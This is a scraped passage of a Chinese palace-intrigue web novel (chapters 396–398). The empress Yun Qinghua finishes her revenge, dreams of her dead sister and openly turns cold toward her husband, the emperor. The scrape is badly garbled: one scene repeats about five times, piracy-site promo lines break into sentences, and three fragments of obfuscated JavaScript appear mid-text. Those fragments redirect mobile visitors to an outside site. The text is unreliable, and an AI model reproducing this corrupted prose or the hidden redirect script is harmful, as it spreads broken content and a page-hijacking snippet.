若不是因为药这声忏悔恐怕这辈子都不会从苏采薇的嘴里说出来。 “那药很贵!你也配吃?”飞霜奚落道。 云清婳红着眼哑声道:“你对不起的人数不胜数姐姐、裴墨染、承基、辞忧……你若真的抱歉去地下忏悔吧!药永远都不会有了!” 语毕云清婳转身离开。 她跟飞霜才踏出翊坤宫不久寝殿里面传出一声巨响。 咚—— 云清婳回头看了一眼眼中闪过复仇的快感。 这是最后一个。 大功告成了! 一个侍卫匆匆进去然后又跑了出来“皇后娘娘不好了太后方才疯病发作撞墙自尽了。” 云清婳扯出一抹诡异的笑她毫不遮掩“跟皇上禀报吧。” “……是。”侍卫诧异的看着她讷讷地离开了。 云清婳不动声色地用手揩去眼角的泪她的嘴角却是上扬的。 “主子谢姑娘的仇报了……” “嗯!”云清婳颔首。 …… 经过宗人府时云清婳看见了苏晴。 苏晴正被太监、宫女搀扶着她在拼命挣扎“放开我我没疯我没疯!” “你们别欺人太甚!连贤王殿下的遗孀你们都不放过吗?” “别碰我!不许碰我!” 云清婳远远看着苏晴 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节)良久才回忆起来她的身份。 她抬起手。 “落轿。”飞霜命令。 宫人放下轿撵。 飞霜立即扶云清婳下来。 你的朋友正在书荒,快去帮帮他吧 第396章 蛮蛮,姐姐要你幸福 “何人在此喧哗,扰了皇后娘娘的凤驾?”福松麻利地跑上前发问。 一个太监恭敬道:“公公,这是贤王的遗孀苏侧妃苏晴。贤王薨逝,苏侧妃是来协助宗人府修纂玉碟的,圣上听说苏侧妃有癔症,恩赐她去静心庵修养。” “皇后!?”苏晴的眸子一轮,目光锁定了云清婳,“皇后娘娘,臣妇有事要奏!臣妇有事要奏!” 云清婳的眼中激起了一丝兴致,她示意太监放行。 没了束缚,苏晴快步跑上前,她福福身,眼中夹杂着恨意跟轻蔑。 “苏侧妃有何事想说?”云清婳好奇地问。 苏晴的手里究竟攥着什么底牌,居然让裴墨染出手了。 “臣妇知道殿下是如何死的。”苏晴的眼中闪过怨毒的光。 “……”云清婳静静地看着她,等待她的下文。 苏晴的眼泪似是大雨落下,打湿了脸颊,“贤王是自尽的。” 飞霜缓缓吐出一口气,亏她还真以为苏晴知道点什么。 可紧接着,这口气又被提了起来。 苏晴上前一步,压低声音道:“殿下远比皇后娘娘想的深情,他早就知道你想报仇!猜到你想在春猎取他性命,可他还是答应了跟你私奔。” 像是烟花在云清婳的脑海中炸开,她的脑中一片空白。 “他赌的就是万中之一的机会,希望你有一丝真情,可你还是让他赌输了。与其说你报仇成功,不如说殿下甘愿赴死!” “皇后娘娘,您后悔吗?您是不是特别后悔?因为你好可怜,你亲手杀**一个这么爱你的男人。” 云清婳的眼神莫测,她鄙夷地笑了,“是啊,本宫后悔了。” “呵,这就是你的报应!”苏晴阴恻恻地笑了,眼中的恨意如潮水翻涌。 忽地,云清婳话锋一转,“本宫若是早知他如此愚蠢,早让他自尽了,何必白费这么多力气?” “你……”苏晴瞪圆了眼。 似是没想到世间有这般薄情的人。 福松见苏晴表情不对,立即吩咐,“快将苏侧妃送走!” “是。”太监、宫女照办。 苏晴被拽走,她崩溃得仰天哭嚎,“呜呜……殿下,您看见了吗?不值啊,您所做的一 切都是不值的!” 云清婳深呼吸她轻眨了眨眼掩住了眼底的赤红。 飞霜扶着她上轿她嘲讽道:“方才苏晴的话让奴婢的鸡皮疙瘩都起来了原以为她是个聪明的没想到还是个满心情爱的笨肚肠。” “……”云清婳抿着唇神情莫测。 …… 云清婳感到前所未有的疲惫未用晚膳便躺在榻上睡下了。 梦中她看见了谢容音、顾笛风。 他们生活在一个世外桃源般的小镇上。 姐姐开了一家医馆是镇上出了名的神医治病救人受人爱戴。 而顾笛风跟在姐姐身后打下手有时上山帮姐姐采药。 天色暗了医馆的学徒送走了最后一位病人。 云清婳站在医馆门外静静地看着谢容音、顾笛风在百药柜前嬉笑打闹。 她含笑静静看着他们两行清泪从眼眶滑落。 “蛮蛮!”谢容音忽然发现了她。 她走上前从袖中拿出帕子轻柔地擦去云清婳脸上的泪“蛮蛮长大了出落得越发漂亮了。” “姐姐。”云清婳噙着泪扑进她的怀里“我做到了我杀**所有仇人我报仇了。我有听你的话善待身边的每一个人行善济世我都在做。” 谢容音的眼神忽然凝结出愁意。 她轻拍云清婳的背“谢谢蛮蛮……” 顾笛风拱手道:“多谢云姑娘您为我们报了仇我跟容音心无挂碍终于可以走了。” “你们要去哪里?”云清婳抬起头看向谢容音。 谢容音没有回答她只是宠溺地看着云清婳“蛮蛮再帮我做一件事好吗?” “嗯。”云清婳颔首。 “我要蛮蛮幸福。”谢容音捏着她的肩膀看着她的眼睛“我要蛮蛮为自己而活不再卷入仇恨之中做一个快乐的人。” 云清婳抓住谢容音的手“姐姐 顾笛风的脸上出现片刻的慌乱。 “傻瓜你不能跟我们一起走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523891|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢容音的话音刚落云清婳的眼前亮起了一片白光。 刺眼的光线笼罩住一切让她看不清前路。 “姐姐、姐姐……云清婳躺在寝宫的榻上,脸上满是泪水。 裴墨染抓住她的手,他紧张地唤道:“蛮蛮,蛮蛮…… “姐姐! 云清婳陡然睁开双眼。 映入眼帘的是裴墨染,她的心瞬间跌入低谷,被烦闷跟失落填满。 裴墨染揩去她脸上的泪,“蛮蛮,你方才被梦魇住了。你梦见谢姑娘了? “…… 她将手从他的大掌中抽出来,侧身躺着,不想理他。 裴墨染的脸色黯淡下来,他努力让脸上绷紧的线条变得柔软,“蛮蛮,苏采薇**。 云清婳默了默,缓缓开口,“我跟她说了裴云澈的死讯。 “没关系,的确应该告知她,不关你的事、不关你的事……他的声音渐渐变小,像是说给自己听。 她冷嘁,“我累了,夫君让我静静吧。 裴墨染想要抱她,可她的冰冷却让他不敢接近。 他怕得到她的拒绝,甚至是反抗。 “蛮蛮,我们是夫妻,任何事你都可以跟我说。他正襟危坐在床榻前的红木凳上,柔声道。 她不耐烦道:“你好吵。 梦醒来就看见狗男人,谁的心情能好? 裴墨染像是做错事的孩子,不敢再发出任何声音,蹑手蹑脚地离开了。 他去翊坤宫看了苏采薇的遗体。 棺材中,苏采薇身上的血迹已经被处理干净。 她清瘦的脸上涂着厚厚的胭脂,穿着宽大的丧服,但也遮不住手背、脖颈上的伤口。 苏采薇像是被吸干了,浑身就剩一把骨头了。 裴墨染瞥开了眼,不想再看下去。 “她身上的伤口怎么来的?他的声音听不出情绪。 王显弓下腰,他露出不忍的表情,“听看守的侍卫说都是太后娘娘自己的掐的,太后娘娘生前一直说什么想要吃药,吃不到就自虐、撞墙、拿簪子扎自己…… “药?裴墨染的眼眸幽深。 第397章 我们好像疏远了 “对。”王显叹了一声。 他的身上卷带着无边的戾气,声音阴沉,“让他们管好嘴,什么该说,什么不该说,不用朕教了吧?” 王显的心肝一颤,“是。” …… 云清婳躺在榻上,她盯着床顶发怔。 姐姐希望她幸福,希望她快乐…… 可是演戏演久了,面具戴久了,她早就不知道快乐是什么滋味了。 她的喜怒哀乐,全都由裴墨染眼中的‘云清婳’支配。 她不能表露真实的想法、做出真实的反应。 吱呀—— 门被推开。 飞霜小跑进来,“主子,皇上去吊唁苏采薇了。虽说苏采薇是自己一头撞死的,但奴婢怕会查到药,牵连到咱们。” 云清婳慵懒地打了个哈欠,“放心吧,他不敢。” “什么?”飞霜被她没头没尾的话给弄得更迷茫了。 云清婳恹恹的,不做解释。 裴墨染就是个胆小鬼,真相明明就摆在眼前,他还不敢戳破,装聋作哑,努力维持表面的融洽。 他不是口口声声说她是什么样,他就喜欢什么样? 那他为何躲躲闪闪,不能坦然接受真正的她呢? “飞霜,我方才梦见姐姐了。”云清婳的眼中有水光闪烁。 飞霜的嘴边攒出了笑,“真好,谢小姐还好吗?” 她点头,“姐姐跟姐夫一切都好,姐姐说,想要我幸福……” 云清婳顿了顿,“可我已经不知道怎么幸福了,在这里,我感受不到一丝快乐。” 她倏地嘲弄地笑了,“飞霜,我说这话是不是很矫情?” 飞霜的脸快皱成一个苦瓜了,她摇摇头。 只是主子已经贵为皇后了,还有了两个孩子,木已成舟,还能如何改变呢? “主子,奴婢也希望您能幸福。老人说,有了孩子就会幸福,看着两位殿下,您心中就没有波澜?”她试探性地问。 云清婳心中迷茫,看见两个孩子的确有时候会高兴,但只占据很小的时间。 她毕竟是个病人,心中自有自己。 能对孩子产生并不多的母爱,与她而言就已经难如登天了。 “主子,就当 是为了孩子,您忍忍吧。飞霜含泪道。 云清婳颔首。 “而且,不是还有赵婉宁没有解决吗? 云清婳缓缓摇头,“她在我这里,连蚂蚁都算不上。 飞霜有一种强烈的预感,主子在宫里似乎没什么留恋的了。 正是因为不知道主子下一步想要做什么,所以她格外惶惶不安。 …… 为了处理太后的丧事,裴墨染接连一个月都没有来坤宁宫。 后宫谣传帝后失和,皇后失宠。 于是后宫中争宠的妃嫔比比皆是。 御花园跟裴墨染的必经之路上,总是有许多妃嫔在献舞、舞剑、吟诗甚至还有人精心打扮,露出绝美角度,拿着团扇扑蝴蝶。 裴墨染不仅视若无睹,甚至觉得她们挡路了,碍眼。 但也有半数妃嫔放弃了争宠,原因无他,她们相信了柳玉的说辞,认定皇上不举,就算能获圣宠也不能有子嗣。 既然如此,何必为了承宠惹皇后不快?毕竟她们的荣辱都是皇后一句话的事。 玉容看着御花园中争妍斗艳的妃嫔,眼中燃起熊熊怒火,“真是**,光天化日之下搔首弄姿!以色侍君,焉能长久? “公主,您有好主意?晚香好奇地问。 玉容挺着脖子,神情孤高,她道:“准备纸墨笔砚,本宫的书法,可是出了名的。她们只不过是玩意儿,而本宫才会赢得皇上的尊重。 晚香轻眨了眨眼,这两者,她看不出不同。“是。 这些消息全传进了坤宁宫。 宫女绘声绘色地讲给云清婳听。 彼时,云清婳正站在书桌前,捻着狼毫毛笔,绘制玩具的草图。 “只要是人,就会有上进心。她们想要为自己、为家族谋前程,何错之有?日后不必跟我禀报。云清婳目不斜视。 宫女像是知错了,垂下脸道:“是。 忽地,御书房骤然安静下来。 裴墨染踏进寝殿,他的眸子灰蒙蒙的,忧郁地看着云清婳。 他在原地踌躇片刻,才走上前。 “蛮蛮……他轻声道。 云清婳抬起眼,看了他一下,又低头描摹起来,不咸不淡道:“夫君来了。 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。 “……裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸? “嗯。她点头。 “…… 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢? 裴墨染的身子微僵,“我…… 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。 “夫君嘴上这么说,心里乐开花了吧?她玩笑道。 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲…… “娘亲…… 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了? 二人争先恐后扑进云清婳的腿上“娘亲…… 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ” 他登时像是泄了劲儿好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮这些日子发生了许多事我们好像都疏远了。”他故作轻松可语气却很认真。 云清婳落笔流畅她的嘴角斜提“有吗?夫君又乱想。” “……”裴墨染一顿。 不知什么时候他们二人居然相对无言了。 良久裴墨染站在她身侧他没话找话说“在给孩子画图纸?” “嗯。”她点头。 “……” 裴墨染心如火煎。 他不喜欢这样明明没有吵架可是为何突然疏远了? “蛮蛮你好像不如从前在乎我了。”他从她的身后搂住她的腰。 那是当然因为我不想演了。 但这些云清婳不会说出来 “夫君又发疯”她搁下毛笔目露嘲讽“夫君这些日子没来坤宁宫是在忙什么呢?” 裴墨染的身子微僵“我……” 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。”他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受何必非要强迫自己呢? 她想知道他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了去歇息吧。”她把腰间的双手拿开。 裴墨染颔首他顺从地倒在贵妃榻上他轻叹了一声“近来后宫中人又不安分蛮蛮要管一管。” “夫君嘴上这么说心里乐开花了吧?”她玩笑道。 裴墨染无奈道:“我乐不乐你不知道?我心里只有娘子。” 云清婳但笑不语。 晌午时承基、辞忧小跑着回来了。 “娘亲……” “娘亲……” 两个孩子的声音略带委屈。 云清婳放下笔她连忙迎上前“怎么了?” 二人争先恐后扑进云清婳的腿上“娘亲……” 他们的脸蛋红彤彤的像是受了委屈又像是在生气。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。 “……裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸? “嗯。她点头。 “…… 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢? 裴墨染的身子微僵,“我…… 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。 “夫君嘴上这么说,心里乐开花了吧?她玩笑道。 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲…… “娘亲…… 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了? 二人争先恐后扑进云清婳的腿上“娘亲…… 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。 “……裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸? “嗯。她点头。 “…… 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢? 裴墨染的身子微僵,“我…… 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。 “夫君嘴上这么说,心里乐开花了吧?她玩笑道。 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲…… “娘亲…… 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了? 二人争先恐后扑进云清婳的腿上“娘亲…… 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ” 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523892|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。”他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。” “……”裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸?” “嗯。”她点头。 “……” 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。”他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,”她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢?” 裴墨染的身子微僵,“我……” 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。”他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。”她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。” “夫君嘴上这么说,心里乐开花了吧?”她玩笑道。 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。” 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲……” “娘亲……” 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了?” 二人争先恐后扑进云清婳的腿上“娘亲……” 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。”他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。” “……”裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸?” “嗯。”她点头。 “……” 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。”他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,”她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢?” 裴墨染的身子微僵,“我……” 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。”他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。”她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。” “夫君嘴上这么说,心里乐开花了吧?”她玩笑道。 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。” 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲……” “娘亲……” 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了?” 二人争先恐后扑进云清婳的腿上“娘亲……” 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 他登时像是泄了劲儿,好像一腔热血全都泼洒到了墙壁上。 就像在敲一扇永远不会开的门。 “蛮蛮,这些日子发生了许多事,我们好像都疏远了。他故作轻松,可语气却很认真。 云清婳落笔流畅,她的嘴角斜提,“有吗?夫君又乱想。 “……裴墨染一顿。 不知什么时候,他们二人居然相对无言了。 良久,裴墨染站在她身侧,他没话找话说,“在给孩子画图纸? “嗯。她点头。 “…… 裴墨染心如火煎。 他不喜欢这样,明明没有吵架,可是为何突然疏远了? “蛮蛮,你好像不如从前在乎我了。他从她的身后搂住她的腰。 那是当然,因为我不想演了。 但这些云清婳不会说出来,她不想给自己找麻烦。 “夫君又发疯,她搁下毛笔,目露嘲讽,“夫君这些日子没来坤宁宫,是在忙什么呢? 裴墨染的身子微僵,“我…… 云清婳冷笑。 是在消化自己心爱的女人其实是毒妇的事实吧? 所以不敢见她。 “朝政繁忙。他最后从口中挤出了这四个字。 云清婳最讨厌他这副道貌岸然的样子。 不能接受就不能接受,何必非要强迫自己呢? 她想知道,他还准备装聋作哑到什么时候! 还准备忍多久! “夫君累了,去歇息吧。她把腰间的双手拿开。 裴墨染颔首,他顺从地倒在贵妃榻上,他轻叹了一声,“近来后宫中人又不安分,蛮蛮要管一管。 “夫君嘴上这么说,心里乐开花了吧? 裴墨染无奈道:“我乐不乐,你不知道?我心里只有娘子。 云清婳但笑不语。 晌午时,承基、辞忧小跑着回来了。 “娘亲…… “娘亲…… 两个孩子的声音略带委屈。 云清婳放下笔,她连忙迎上前,“怎么了? 二人争先恐后扑进云清婳的腿上“娘亲…… 他们的脸蛋红彤彤的,像是受了委屈又像是在生气。 你的朋友正在书荒,快去帮帮他吧 第398章 爹娘吵架了吗? “发生什么事了?”云清婳蹲下身,平视着他们的双眼。 承基气鼓鼓道:“御花园里都是疯婆子,又唱又跳的,好可怕……” 辞忧叉着腰,小脸蛋气成了红苹果,“有个疯女人在御花园里一边画画一边转圈圈,墨汁撒到我的裙子上了。” 她指着裙摆上的墨点,“这是新做的裙子,我最喜欢啦……” 云清婳心下了然,这么会卖弄的,除了玉容还有谁? 闻言,裴墨染立即阖上双眼,假装熟睡。 “都怪爹爹!他为什么娶了这么多疯子?”承基的语气满是鄙夷,根本不像一个四岁的孩子。 辞忧跺跺脚,“爹爹真讨厌!让她们都滚啊!” 忽的,两个小奶包的目光定格在云清婳的身后。 他们终于发现了裴墨染。 二人心虚的扑进云清婳的怀里,露出惊恐的表情。 云清婳拍拍他们的背脊,她轻声安抚:“不怕,爹爹睡着了,没听见。” “嗯……”二人确定裴墨染没有动,松了一口气。 云清婳检查了下,确定他们身上没有染上墨汁,“快去换衣物,等会来用膳。” 两个孩子争前恐后的走了。 云清婳走到贵妃榻前,她伸出手拧着裴墨染的耳朵,“都是你干的好事!” “蛮蛮……”裴墨染心虚地轻眨眼,“她们不都是你当初答应入府的吗?” “是啊!你还怪起我了?”她的面色有些冷,“我不管你娶一百个还是一千个,她们绝对不能舞到孩子面前!” 他颔首,“我知道了。” “快点处理了。”她的语气不容置喙。 裴墨染即刻下旨,不准后宫中人再到御花园搔首弄姿,违者严惩。 用午膳时,裴墨染讨好地给云清婳跟孩子夹菜。 承基、辞忧表现如常,似乎方才对裴墨染的抱怨根本不存在。 云清婳却压根没有碰他搛的菜。 裴墨染发现了她的抵触,佯装不知,只是脸上的笑意淡了几分,“蛮蛮太瘦了,多吃些。” “嗯。”云清婳颔首。 “爹爹跟娘亲是吵架了吗?”辞忧眼尖地发现了异常。 云清婳的夹菜的手在空 中僵住了,她挤出笑,摇摇头,“没有啊,辞忧为什么这么问? 两个孩子不约而同地露出怀疑的眼神。 云清婳脸上的假笑快要绷不住,如坐针毡。 她下意识觉得这种事不适合让孩子知道。 飞霜都为她捏了把汗。 裴墨染笑着解释:“爹娘没有吵架。 “对。云清婳手里的筷子换了个方向,将鱼肉搛到裴墨染的盘中。 裴墨染的身子往云清婳的身边凑了凑,“蛮蛮,你是不是最近太累了? “是有些累,有点没胃口。云清婳顺着他说。 他轻拍她的手背,“你多多歇息,后宫事务可以分下去,让贤妃操劳。 “嗯。她点头。 辞忧、承基眼中的怀疑打消了几分。 这一顿饭让云清婳如鲠在喉,她味同嚼蜡,备受煎熬。 等辞忧、承基用膳完毕,她立即撂了筷子,呼出一口气。 裴墨染的脸倏地沉了下去,他的语气有些受伤,“蛮蛮,跟我一同用膳,你就这么煎熬吗? “……这完全在云清婳意料之中。 这么快,他就受不了了? 飞霜、王显对视一眼,二人默契地带人退下,将门窗紧闭。 这些日子,帝后不睦他们都看在眼里。 这场架,他们早该吵了。 或许发泄出来,才能化解矛盾。 也许这次的争吵是好事。 偌大的寝殿中,一时之间只剩云清婳、裴墨染二人。 云清婳掀起眼皮斜睨着他,表情化为讥讽,“我已经很用力在演了,很用力在维系和平了,你为何非要点出来? “…… 他一噎,似乎没想到她会这么回答。 裴墨染抓住她的胳膊,神色带着些许祈求,“蛮蛮,我要是做错了什么,你跟我说好不好?我改!你别这样。 云清婳无奈地看着他,她挣开他的手,“裴墨染,你自信一点好不好?遇事不要总找自己的错误,你没有任何错,我也没有! “既然我没错,为何你突然不肯用正眼看我了?为何你突然这么嫌弃我?我又不是孩子,你对我的变化,我都看在眼里。他的眼圈泛红。 云清婳的鼻腔发出一声冷嘁乖顺的脸庞露出陌生的清冷“你不知道原因?” “……” 裴墨染的唇瓣轻颤“不重要那些事都不重要我们可以跟以前一样好好的当作什么也没发生。” “若是不重要你就不会这么说了你心里明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529109|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意的要死。”她的语气夹杂着鄙夷。 他单膝跪在她面前仰起头看她“蛮蛮你才是我在这世上最重要的人我爱你……你别这样好不好?” 云清婳看着他这么卑微地求她心中没有一丝动容。 裴墨染会这样是因为还没有完全认识她。 他若是知道他们从认识的第一面起都是她谋算来的她背着他跟裴云澈往来他还会这样吗? “因为你没作用了。”她冷漠地说出实情。 “……什么?”他的眼中泌出了水光。 云清婳伸出手轻轻揩去他眼角的泪。 她知道他听清楚了。 “裴墨染这都要怪你我已经很委屈自己跟你相安无事演出恩爱夫妻的样子了。你方才为何非要问出来?”她语重心长道。 他的眼神破碎“蛮蛮你骗我对不对?什么叫没作用了?” 她用食指抵住他的唇眸上像是凝结了一层冰隔绝一切情感“你不会想知道真相的别问了。” “蛮蛮我们孩子都有两个了辞忧跟承基都这么大了!夫妻五年一起经历了这么多什么叫没作用了?”他固执地问。 云清婳起身“夫君情绪太激动了我们暂时还是不要说话了这个时辰你该去御书房了。” 裴墨染站起身他哽咽道:“蛮蛮你别这样!” “我就是这样的一直都是!”云清婳的脸上挂着平和的笑。 她实在太冷静反而把他衬得像个疯子。 裴墨染的心空落落他有一种强烈的预感他又要变成孤家寡人他彻底抓不住蛮蛮了。 他上前一把箍住她的腰云清婳的眼中蕴出警惕“你做什么?” 下一瞬他将她打横抱起将云清婳丢到床榻上。 云清婳太了解他他如今就像是失了智的野兽。 想要用床笫之事证明他还拥有她她还爱他。 她讥诮地看着他。 狗男人还真是清纯得可以 小说的域名caixs?(请来才 小说 看最新章节 完整章节)事到如今还觉得房事跟爱挂钩? 裴墨染俯身压下他熟稔地吻她掠夺她占有她想要得到她的回应。 如他所愿云清婳的确给出了乖顺的回应。 她并不讨厌裴墨染裴墨染伺候得又好她不想自找麻烦自讨苦吃所以给出了真实的身体反应。 仅此而已。 第399章 试着爱我好吗? 